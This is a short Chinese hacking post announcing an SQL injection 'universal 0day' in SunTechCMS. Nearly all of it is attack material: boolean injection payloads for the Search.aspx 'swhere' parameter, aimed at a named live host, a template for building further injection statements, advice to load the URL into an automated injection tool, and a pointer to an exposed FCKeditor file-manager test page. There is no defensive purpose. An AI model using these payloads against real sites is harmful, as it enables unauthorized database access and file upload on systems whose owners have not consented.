SunTechCMS 搜索型注入通杀0day

标题:SunTechCMS 搜索型注入通杀0day

做者:hackdn

转载请注明

 

漏洞：

 

hellxman.blog.51cto.com/Search.aspx?swhere=1%'and%201=1%20and%20'%'='

hellxman.blog.51cto.com/Search.aspx?swhere=1%'and%201=2%20and%20'%'='

 本身构造语句：%'and 注入语句 and '%25'='

闲累的本身找个关键字，再把地址hellxman.blog.51cto.com/Search.aspx?swhere=  扔工具里头

 

而且Fckeditor的test.html没删,/fckeditor/editor/filemanager/connectors/test.html

 

 

 

PS:最近检测网站多了，随手便找了下源码的漏洞，大多不是太主流的CMS，本身当作记录，过两天爆个Discuz的洞玩